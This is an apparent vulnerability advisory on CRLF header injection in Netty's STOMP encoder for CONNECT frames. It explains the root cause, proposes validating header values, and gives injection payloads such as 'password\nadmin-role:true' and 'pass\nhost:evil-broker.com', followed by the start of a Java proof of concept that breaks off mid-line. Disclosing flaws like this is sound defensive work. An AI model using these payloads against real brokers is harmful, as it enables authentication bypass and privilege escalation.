Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty

1. Vulnerability Summary

Field	Value
Product	Netty
Version	4.2.12.Final (and all prior versions with codec-stomp)
Component	io.netty.handler.codec.stomp.StompSubframeEncoder
Vulnerability Type	CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers
Impact	STOMP Header Injection / Authentication Bypass
CVSS 3.1 Score	6.5 (Medium)
CVSS 3.1 Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Attack Vector	Network
Attack Complexity	Low
Privileges Required	Low
User Interaction	None
Scope	Unchanged
Confidentiality Impact	None
Integrity Impact	High
Availability Impact	None

2. Affected Components

• io.netty.handler.codec.stomp.StompSubframeEncoder — encodeHeaders() method (lines 174-200)
• io.netty.handler.codec.stomp.StompSubframeEncoder — shouldEscape() method (lines 214-216)

3. Vulnerability Description

The Netty STOMP codec encoder (StompSubframeEncoder) intentionally skips the escape() function for CONNECT and CONNECTED commands. This means that newline characters (\n) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.

Root Cause

In StompSubframeEncoder.java, the shouldEscape() method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:

private static boolean shouldEscape(StompCommand command) {
    return command != StompCommand.CONNECT && command != StompCommand.CONNECTED;
}

When shouldEscape() returns false, header values are written without any escaping (line 195):

CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();
ByteBufUtil.writeUtf8(buf, headerValue);  // Raw \n written to output
buf.writeByte(StompConstants.LF);

For other commands (SEND, SUBSCRIBE, etc.), the escape() method (lines 218-240) correctly converts \n to \\n, \r to \\r, : to \\c, and \\ to \\\\.

STOMP Specification Context and Security Analysis

The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should not use escaping, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.

However, "no escaping" does not mean "no validation". The specification's intent is that CONNECT headers should not use the \n → \\n escape notation. It does not mandate that implementations must accept raw newline characters within header values. There is a critical distinction:

• Escaping = converting \n to \\n in the wire format (spec says: don't do this for CONNECT)
• Validation = rejecting header values that contain \n (spec does not prohibit this)

Netty's implementation conflates these two concepts: by skipping escape(), it also skips all protection against newline injection. The correct behavior would be to skip escaping but still reject values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw \n.

This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.

Additionally, Netty's own test suite explicitly validates this non-escaping behavior in StompSubframeEncoderTest.java:126-143 (testNotEscapeStompHeadersForConnectCommand), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.

Summary: The vulnerability exists because:

1. Header values in CONNECT frames are neither escaped nor validated for newlines
2. A raw newline in a header value creates a new header line on the wire
3. The STOMP broker parses each line as a separate header
4. The fix should validate (reject \n) rather than escape (convert \n to \\n), maintaining spec compliance

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

1. The application uses Netty's codec-stomp module to encode STOMP frames
2. User-controlled input is placed into header values of a CONNECT or CONNECTED frame
3. The application does not perform its own newline sanitization
4. The downstream STOMP broker processes the injected headers (broker-dependent)

Typical affected use cases:

• STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials
• Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms
• Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames

5. Attack Scenarios

Scenario 1: Authentication Bypass via Header Injection

An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:

DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().set(StompHeaders.HOST, "localhost");
frame.headers().set(StompHeaders.LOGIN, "guest");
// Attacker injects a role header via \n in passcode
frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true");

Wire format sent to broker:

CONNECT
host:localhost
login:guest
passcode:password
admin-role:true        <-- INJECTED HEADER
                       <-- Empty line (end of headers)
\0

The broker receives 5 headers instead of the intended 4. If the broker checks for an admin-role header to grant elevated privileges, the attacker bypasses authentication.

Scenario 2: Subscription Hijacking

frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com");

This overwrites the host header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).

Scenario 3: Header Overwrite

frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin");

Wire format:

CONNECT
login:user
login:admin            <-- INJECTED, may override first
...

Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the admin account.

6. Proof of Concept

Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.stomp.*;

import java.nio.charset.StandardCharsets;

/**
 * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability
 *
 * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and
 * CONNECTED commands, allowing \n injection in header values to create
 * additional STOMP headers.
 */
public class StompConnectHeaderInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n");

        testConnectHeaderInjection();
        testConnectVsOtherCommand();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: CONNECT command header injection via \n in value
     */
    static void testConnectHeaderInjection() {
        System.out.println("[TEST 1] CONNECT Header Value Injection");
        System.out.println("-----------------------------------------");

        // Craft a CONNECT frame with \n in passcode value
        DefaultStompHeaders headers = new DefaultStompHeaders();
        headers.set(StompHeaders.HOST, "localhost");
        headers.set(StompHeaders.ACCEPT_VERSION, "1.2");
        he